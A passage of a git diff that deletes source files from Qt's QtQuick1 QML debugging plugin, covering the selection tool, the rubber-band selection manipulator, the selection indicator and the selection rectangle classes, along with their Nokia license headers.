oldSelectionSet(m_oldSelectionList.toSet()); - QSet newSelectionSet(newSelectionList.toSet()); - resultList.append(oldSelectionSet.subtract(newSelectionSet).toList()); - } - } - - m_editorView->setSelectedItems(resultList); -} - - -void LiveRubberBandSelectionManipulator::setItems(const QList &itemList) -{ - m_itemList = itemList; -} - -QPointF LiveRubberBandSelectionManipulator::beginPoint() const -{ - return m_beginPoint; -} - -bool LiveRubberBandSelectionManipulator::isActive() const -{ - return m_isActive; -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/liverubberbandselectionmanipulator.h b/src/plugins/qmltooling/qmldbg_qtquick1/liverubberbandselectionmanipulator.h deleted file mode 100644 index 1e8c54ef8e..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/liverubberbandselectionmanipulator.h +++ /dev/null @@ -1,98 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef RUBBERBANDSELECTIONMANIPULATOR_H -#define RUBBERBANDSELECTIONMANIPULATOR_H - -#include "liveselectionrectangle.h" - -#include - -QT_FORWARD_DECLARE_CLASS(QGraphicsItem) - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class QDeclarativeViewInspector; - -class LiveRubberBandSelectionManipulator -{ -public: - enum SelectionType { - ReplaceSelection, - AddToSelection, - RemoveFromSelection - }; - - LiveRubberBandSelectionManipulator(QGraphicsObject *layerItem, - QDeclarativeViewInspector *editorView); - - void setItems(const QList &itemList); - - void begin(const QPointF& beginPoint); - void update(const QPointF& updatePoint); - void end(); - - void clear(); - - void select(SelectionType selectionType); - - QPointF beginPoint() const; - - bool isActive() const; - -protected: - QGraphicsItem *topFormEditorItem(const QList &itemList); - -private: - QList m_itemList; - QList m_oldSelectionList; - LiveSelectionRectangle m_selectionRectangleElement; - QPointF m_beginPoint; - QDeclarativeViewInspector *m_editorView; - QGraphicsItem *m_beginFormEditorItem; - bool m_isActive; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // RUBBERBANDSELECTIONMANIPULATOR_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionindicator.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionindicator.cpp deleted file mode 100644 index d1aee7b36b..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionindicator.cpp +++ /dev/null @@ -1,120 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "liveselectionindicator.h" - -#include "qdeclarativeviewinspector_p.h" -#include "qmlinspectorconstants.h" - -#include -#include -#include -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -LiveSelectionIndicator::LiveSelectionIndicator(QDeclarativeViewInspector *viewInspector, - QGraphicsObject *layerItem) - : m_layerItem(layerItem) - , m_view(viewInspector) -{ -} - -LiveSelectionIndicator::~LiveSelectionIndicator() -{ - clear(); -} - -void LiveSelectionIndicator::show() -{ - foreach (QGraphicsRectItem *item, m_indicatorShapeHash) - item->show(); -} - -void LiveSelectionIndicator::hide() -{ - foreach (QGraphicsRectItem *item, m_indicatorShapeHash) - item->hide(); -} - -void LiveSelectionIndicator::clear() -{ - if (!m_layerItem.isNull()) { - QGraphicsScene *scene = m_layerItem.data()->scene(); - foreach (QGraphicsRectItem *item, m_indicatorShapeHash) { - scene->removeItem(item); - delete item; - } - } - - m_indicatorShapeHash.clear(); - -} - -void LiveSelectionIndicator::setItems(const QList > &itemList) -{ - clear(); - - foreach (const QWeakPointer &object, itemList) { - if (object.isNull()) - continue; - - QGraphicsItem *item = object.data(); - - if (!m_indicatorShapeHash.contains(item)) { - QGraphicsRectItem *selectionIndicator = new QGraphicsRectItem(m_layerItem.data()); - m_indicatorShapeHash.insert(item, selectionIndicator); - - const QRectF boundingRect = m_view->adjustToScreenBoundaries(item->mapRectToScene(item->boundingRect())); - const QRectF boundingRectInLayerItemSpace = m_layerItem.data()->mapRectFromScene(boundingRect); - - selectionIndicator->setData(Constants::EditorItemDataKey, true); - selectionIndicator->setFlag(QGraphicsItem::ItemIsSelectable, false); - selectionIndicator->setRect(boundingRectInLayerItemSpace); - selectionIndicator->setPen(QColor(108, 141, 221)); - } - } -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionindicator.h b/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionindicator.h deleted file mode 100644 index 3d5e10d7e5..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionindicator.h +++ /dev/null @@ -1,82 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef LIVESELECTIONINDICATOR_H -#define LIVESELECTIONINDICATOR_H - -#include -#include - -QT_BEGIN_NAMESPACE -class QGraphicsObject; -class QGraphicsRectItem; -class QGraphicsItem; -class QPolygonF; -QT_END_NAMESPACE - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class QDeclarativeViewInspector; - -class LiveSelectionIndicator -{ -public: - LiveSelectionIndicator(QDeclarativeViewInspector *viewInspector, QGraphicsObject *layerItem); - ~LiveSelectionIndicator(); - - void show(); - void hide(); - - void clear(); - - void setItems(const QList > &itemList); - -private: - QHash m_indicatorShapeHash; - QWeakPointer m_layerItem; - QDeclarativeViewInspector *m_view; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // LIVESELECTIONINDICATOR_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionrectangle.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionrectangle.cpp deleted file mode 100644 index 559d86b815..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionrectangle.cpp +++ /dev/null @@ -1,115 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "liveselectionrectangle.h" - -#include "qmlinspectorconstants.h" - -#include -#include -#include -#include - -#include - -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class SelectionRectShape : public QGraphicsRectItem -{ -public: - SelectionRectShape(QGraphicsItem *parent = 0) : QGraphicsRectItem(parent) {} - int type() const { return Constants::EditorItemType; } -}; - -LiveSelectionRectangle::LiveSelectionRectangle(QGraphicsObject *layerItem) - : m_controlShape(new SelectionRectShape(layerItem)), - m_layerItem(layerItem) -{ - m_controlShape->setPen(QPen(Qt::black)); - m_controlShape->setBrush(QColor(128, 128, 128, 50)); -} - -LiveSelectionRectangle::~LiveSelectionRectangle() -{ - if (m_layerItem) - m_layerItem.data()->scene()->removeItem(m_controlShape); -} - -void LiveSelectionRectangle::clear() -{ - hide(); -} -void LiveSelectionRectangle::show() -{ - m_controlShape->show(); -} - -void LiveSelectionRectangle::hide() -{ - m_controlShape->hide(); -} - -QRectF LiveSelectionRectangle::rect() const -{ - return m_controlShape->mapFromScene(m_controlShape->rect()).boundingRect(); -} - -void LiveSelectionRectangle::setRect(const QPointF &firstPoint, - const QPointF &secondPoint) -{ - double firstX = std::floor(firstPoint.x()) + 0.5; - double firstY = std::floor(firstPoint.y()) + 0.5; - double secondX = std::floor(secondPoint.x()) + 0.5; - double secondY = std::floor(secondPoint.y()) + 0.5; - QPointF topLeftPoint(firstX < secondX ? firstX : secondX, - firstY < secondY ? firstY : secondY); - QPointF bottomRightPoint(firstX > secondX ? firstX : secondX, - firstY > secondY ? firstY : secondY); - - QRectF rect(topLeftPoint, bottomRightPoint); - m_controlShape->setRect(rect); -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionrectangle.h b/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionrectangle.h deleted file mode 100644 index de1dadb01d..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectionrectangle.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef LIVESELECTIONRECTANGLE_H -#define LIVESELECTIONRECTANGLE_H - -#include - -QT_FORWARD_DECLARE_CLASS(QGraphicsObject) -QT_FORWARD_DECLARE_CLASS(QGraphicsRectItem) -QT_FORWARD_DECLARE_CLASS(QPointF) -QT_FORWARD_DECLARE_CLASS(QRectF) - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class LiveSelectionRectangle -{ -public: - LiveSelectionRectangle(QGraphicsObject *layerItem); - ~LiveSelectionRectangle(); - - void show(); - void hide(); - - void clear(); - - void setRect(const QPointF &firstPoint, - const QPointF &secondPoint); - - QRectF rect() const; - -private: - QGraphicsRectItem *m_controlShape; - QWeakPointer m_layerItem; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // LIVESELECTIONRECTANGLE_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectiontool.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/liveselectiontool.cpp deleted file mode 100644 index 5a22cdd4f4..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectiontool.cpp +++ /dev/null @@ -1,425 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "liveselectiontool.h" -#include "livelayeritem.h" - -#include "qdeclarativeviewinspector_p.h" - -#include -#include -#include -#include -#include -#include -#include - -#include -#include - -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -LiveSelectionTool::LiveSelectionTool(QDeclarativeViewInspector *editorView) : - AbstractLiveEditTool(editorView), - m_rubberbandSelectionMode(false), - m_rubberbandSelectionManipulator( - QDeclarativeViewInspectorPrivate::get(editorView)->manipulatorLayer, editorView), - m_singleSelectionManipulator(editorView), - m_selectionIndicator(editorView, - QDeclarativeViewInspectorPrivate::get(editorView)->manipulatorLayer), - //m_resizeIndicator(editorView->manipulatorLayer()), - m_selectOnlyContentItems(true) -{ - -} - -LiveSelectionTool::~LiveSelectionTool() -{ -} - -void LiveSelectionTool::setRubberbandSelectionMode(bool value) -{ - m_rubberbandSelectionMode = value; -} - -LiveSingleSelectionManipulator::SelectionType LiveSelectionTool::getSelectionType(Qt::KeyboardModifiers - modifiers) -{ - LiveSingleSelectionManipulator::SelectionType selectionType - = LiveSingleSelectionManipulator::ReplaceSelection; - if (modifiers.testFlag(Qt::ControlModifier)) { - selectionType = LiveSingleSelectionManipulator::RemoveFromSelection; - } else if (modifiers.testFlag(Qt::ShiftModifier)) { - selectionType = LiveSingleSelectionManipulator::AddToSelection; - } - return selectionType; -} - -bool LiveSelectionTool::alreadySelected(const QList &itemList) const -{ - QDeclarativeViewInspectorPrivate *inspectorPrivate - = QDeclarativeViewInspectorPrivate::get(inspector()); - const QList selectedItems = inspectorPrivate->selectedItems(); - - if (selectedItems.isEmpty()) - return false; - - foreach (QGraphicsItem *item, itemList) - if (selectedItems.contains(item)) - return true; - - return false; -} - -void LiveSelectionTool::mousePressEvent(QMouseEvent *event) -{ - QDeclarativeViewInspectorPrivate *inspectorPrivate - = QDeclarativeViewInspectorPrivate::get(inspector()); - QList itemList = inspectorPrivate->selectableItems(event->pos()); - LiveSingleSelectionManipulator::SelectionType selectionType = getSelectionType(event->modifiers()); - - if (event->buttons() & Qt::LeftButton) { - m_mousePressTimer.start(); - - if (m_rubberbandSelectionMode) { - m_rubberbandSelectionManipulator.begin(event->pos()); - } else { - m_singleSelectionManipulator.begin(event->pos()); - m_singleSelectionManipulator.select(selectionType, m_selectOnlyContentItems); - } - } else if (event->buttons() & Qt::RightButton) { - createContextMenu(itemList, event->globalPos()); - } -} - -void LiveSelectionTool::createContextMenu(const QList &itemList, QPoint globalPos) -{ - QMenu contextMenu; - connect(&contextMenu, SIGNAL(hovered(QAction*)), - this, SLOT(contextMenuElementHovered(QAction*))); - - m_contextMenuItemList = itemList; - - contextMenu.addAction(tr("Items")); - contextMenu.addSeparator(); - int shortcutKey = Qt::Key_1; - int i = 0; - - foreach (QGraphicsItem * const item, itemList) { - QString itemTitle = titleForItem(item); - QAction *elementAction = contextMenu.addAction(itemTitle, this, - SLOT(contextMenuElementSelected())); - - if (inspector()->selectedItems().contains(item)) { - QFont boldFont = elementAction->font(); - boldFont.setBold(true); - elementAction->setFont(boldFont); - } - - elementAction->setData(i); - - if (shortcutKey <= Qt::Key_9) { - elementAction->setShortcut(QKeySequence(shortcutKey)); - shortcutKey++; - } - - ++i; - } - // add root item separately - // QString itemTitle = QString(tr("%1")).arg(titleForItem(view()->currentRootItem())); - // contextMenu.addAction(itemTitle, this, SLOT(contextMenuElementSelected())); - // m_contextMenuItemList.append(view()->currentRootItem()); - - contextMenu.exec(globalPos); - m_contextMenuItemList.clear(); -} - -void LiveSelectionTool::contextMenuElementSelected() -{ - QAction *senderAction = static_cast(sender()); - int itemListIndex = senderAction->data().toInt(); - if (itemListIndex >= 0 && itemListIndex < m_contextMenuItemList.length()) { - - QPointF updatePt(0, 0); - QGraphicsItem *item = m_contextMenuItemList.at(itemListIndex); - m_singleSelectionManipulator.begin(updatePt); - m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::InvertSelection, - QList() << item, - false); - m_singleSelectionManipulator.end(updatePt); - } -} - -void LiveSelectionTool::contextMenuElementHovered(QAction *action) -{ - int itemListIndex = action->data().toInt(); - if (itemListIndex >= 0 && itemListIndex < m_contextMenuItemList.length()) { - QGraphicsObject *item = m_contextMenuItemList.at(itemListIndex)->toGraphicsObject(); - QDeclarativeViewInspectorPrivate::get(inspector())->highlight(item); - } -} - -void LiveSelectionTool::mouseMoveEvent(QMouseEvent *event) -{ - if (m_singleSelectionManipulator.isActive()) { - QPointF mouseMovementVector = m_singleSelectionManipulator.beginPoint() - event->pos(); - - if ((mouseMovementVector.toPoint().manhattanLength() > Constants::DragStartDistance) - && (m_mousePressTimer.elapsed() > Constants::DragStartTime)) - { - m_singleSelectionManipulator.end(event->pos()); - //view()->changeToMoveTool(m_singleSelectionManipulator.beginPoint()); - return; - } - } else if (m_rubberbandSelectionManipulator.isActive()) { - QPointF mouseMovementVector = m_rubberbandSelectionManipulator.beginPoint() - event->pos(); - - if ((mouseMovementVector.toPoint().manhattanLength() > Constants::DragStartDistance) - && (m_mousePressTimer.elapsed() > Constants::DragStartTime)) { - m_rubberbandSelectionManipulator.update(event->pos()); - - if (event->modifiers().testFlag(Qt::ControlModifier)) - m_rubberbandSelectionManipulator.select( - LiveRubberBandSelectionManipulator::RemoveFromSelection); - else if (event->modifiers().testFlag(Qt::ShiftModifier)) - m_rubberbandSelectionManipulator.select( - LiveRubberBandSelectionManipulator::AddToSelection); - else - m_rubberbandSelectionManipulator.select( - LiveRubberBandSelectionManipulator::ReplaceSelection); - } - } -} - -void LiveSelectionTool::hoverMoveEvent(QMouseEvent * event) -{ -// ### commented out until move tool is re-enabled -// QList itemList = view()->items(event->pos()); -// if (!itemList.isEmpty() && !m_rubberbandSelectionMode) { -// -// foreach (QGraphicsItem *item, itemList) { -// if (item->type() == Constants::ResizeHandleItemType) { -// ResizeHandleItem* resizeHandle = ResizeHandleItem::fromGraphicsItem(item); -// if (resizeHandle) -// view()->changeTool(Constants::ResizeToolMode); -// return; -// } -// } -// if (topSelectedItemIsMovable(itemList)) -// view()->changeTool(Constants::MoveToolMode); -// } - QDeclarativeViewInspectorPrivate *inspectorPrivate - = QDeclarativeViewInspectorPrivate::get(inspector()); - - QList selectableItemList = inspectorPrivate->selectableItems(event->pos()); - if (!selectableItemList.isEmpty()) { - QGraphicsObject *item = selectableItemList.first()->toGraphicsObject(); - if (item) - QDeclarativeViewInspectorPrivate::get(inspector())->highlight(item); - - return; - } - - QDeclarativeViewInspectorPrivate::get(inspector())->clearHighlight(); -} - -void LiveSelectionTool::mouseReleaseEvent(QMouseEvent *event) -{ - if (m_singleSelectionManipulator.isActive()) { - m_singleSelectionManipulator.end(event->pos()); - } - else if (m_rubberbandSelectionManipulator.isActive()) { - - QPointF mouseMovementVector = m_rubberbandSelectionManipulator.beginPoint() - event->pos(); - if (mouseMovementVector.toPoint().manhattanLength() < Constants::DragStartDistance) { - m_singleSelectionManipulator.begin(event->pos()); - - if (event->modifiers().testFlag(Qt::ControlModifier)) - m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::RemoveFromSelection, - m_selectOnlyContentItems); - else if (event->modifiers().testFlag(Qt::ShiftModifier)) - m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::AddToSelection, - m_selectOnlyContentItems); - else - m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::InvertSelection, - m_selectOnlyContentItems); - - m_singleSelectionManipulator.end(event->pos()); - } else { - m_rubberbandSelectionManipulator.update(event->pos()); - - if (event->modifiers().testFlag(Qt::ControlModifier)) - m_rubberbandSelectionManipulator.select( - LiveRubberBandSelectionManipulator::RemoveFromSelection); - else if (event->modifiers().testFlag(Qt::ShiftModifier)) - m_rubberbandSelectionManipulator.select( - LiveRubberBandSelectionManipulator::AddToSelection); - else - m_rubberbandSelectionManipulator.select( - LiveRubberBandSelectionManipulator::ReplaceSelection); - - m_rubberbandSelectionManipulator.end(); - } - } -} - -void LiveSelectionTool::keyPressEvent(QKeyEvent *event) -{ - switch (event->key()) { - case Qt::Key_Left: - case Qt::Key_Right: - case Qt::Key_Up: - case Qt::Key_Down: - // disabled for now, cannot move stuff yet. - //view()->changeTool(Constants::MoveToolMode); - //view()->currentTool()->keyPressEvent(event); - break; - } -} - -void LiveSelectionTool::wheelEvent(QWheelEvent *event) -{ - if (event->orientation() == Qt::Horizontal || m_rubberbandSelectionMode) - return; - - QDeclarativeViewInspectorPrivate *inspectorPrivate - = QDeclarativeViewInspectorPrivate::get(inspector()); - QList itemList = inspectorPrivate->selectableItems(event->pos()); - - if (itemList.isEmpty()) - return; - - int selectedIdx = 0; - if (!inspector()->selectedItems().isEmpty()) { - selectedIdx = itemList.indexOf(inspector()->selectedItems().first()); - if (selectedIdx >= 0) { - if (event->delta() > 0) { - selectedIdx++; - if (selectedIdx == itemList.length()) - selectedIdx = 0; - } else if (event->delta() < 0) { - selectedIdx--; - if (selectedIdx == -1) - selectedIdx = itemList.length() - 1; - } - } else { - selectedIdx = 0; - } - } - - QPointF updatePt(0, 0); - m_singleSelectionManipulator.begin(updatePt); - m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::ReplaceSelection, - QList() << itemList.at(selectedIdx), - false); - m_singleSelectionManipulator.end(updatePt); - -} - -void LiveSelectionTool::setSelectOnlyContentItems(bool selectOnlyContentItems) -{ - m_selectOnlyContentItems = selectOnlyContentItems; -} - -void LiveSelectionTool::clear() -{ - view()->setCursor(Qt::ArrowCursor); - m_rubberbandSelectionManipulator.clear(), - m_singleSelectionManipulator.clear(); - m_selectionIndicator.clear(); - //m_resizeIndicator.clear(); -} - -void LiveSelectionTool::selectedItemsChanged(const QList &itemList) -{ - foreach (const QWeakPointer &obj, m_selectedItemList) { - if (!obj.isNull()) { - disconnect(obj.data(), SIGNAL(xChanged()), this, SLOT(repaintBoundingRects())); - disconnect(obj.data(), SIGNAL(yChanged()), this, SLOT(repaintBoundingRects())); - disconnect(obj.data(), SIGNAL(widthChanged()), this, SLOT(repaintBoundingRects())); - disconnect(obj.data(), SIGNAL(heightChanged()), this, SLOT(repaintBoundingRects())); - disconnect(obj.data(), SIGNAL(rotationChanged()), this, SLOT(repaintBoundingRects())); - } - } - - QList objects = toGraphicsObjectList(itemList); - m_selectedItemList.clear(); - - foreach (QGraphicsObject *obj, objects) { - m_selectedItemList.append(obj); - connect(obj, SIGNAL(xChanged()), this, SLOT(repaintBoundingRects())); - connect(obj, SIGNAL(yChanged()), this, SLOT(repaintBoundingRects())); - connect(obj, SIGNAL(widthChanged()), this, SLOT(repaintBoundingRects())); - connect(obj, SIGNAL(heightChanged()), this, SLOT(repaintBoundingRects())); - connect(obj, SIGNAL(rotationChanged()), this, SLOT(repaintBoundingRects())); - } - - m_selectionIndicator.setItems(m_selectedItemList); - //m_resizeIndicator.setItems(toGraphicsObjectList(itemList)); -} - -void LiveSelectionTool::repaintBoundingRects() -{ - m_selectionIndicator.setItems(m_selectedItemList); -} - -void LiveSelectionTool::selectUnderPoint(QMouseEvent *event) -{ - m_singleSelectionManipulator.begin(event->pos()); - - if (event->modifiers().testFlag(Qt::ControlModifier)) - m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::RemoveFromSelection, - m_selectOnlyContentItems); - else if (event->modifiers().testFlag(Qt::ShiftModifier)) - m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::AddToSelection, - m_selectOnlyContentItems); - else - m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::InvertSelection, - m_selectOnlyContentItems); - - m_singleSelectionManipulator.end(event->pos()); -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectiontool.h b/src/plugins/qmltooling/qmldbg_qtquick1/liveselectiontool.h deleted file mode 100644 index f6046d4c59..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/liveselectiontool.h +++ /dev/null @@ -1,122 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef LIVESELECTIONTOOL_H -#define LIVESELECTIONTOOL_H - -#include "abstractliveedittool.h" -#include "liverubberbandselectionmanipulator.h" -#include "livesingleselectionmanipulator.h" -#include "liveselectionindicator.h" - -#include -#include - -QT_FORWARD_DECLARE_CLASS(QGraphicsItem) -QT_FORWARD_DECLARE_CLASS(QMouseEvent) -QT_FORWARD_DECLARE_CLASS(QKeyEvent) -QT_FORWARD_DECLARE_CLASS(QAction) - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class LiveSelectionTool : public AbstractLiveEditTool -{ - Q_OBJECT - -public: - LiveSelectionTool(QDeclarativeViewInspector* editorView); - ~LiveSelectionTool(); - - void mousePressEvent(QMouseEvent 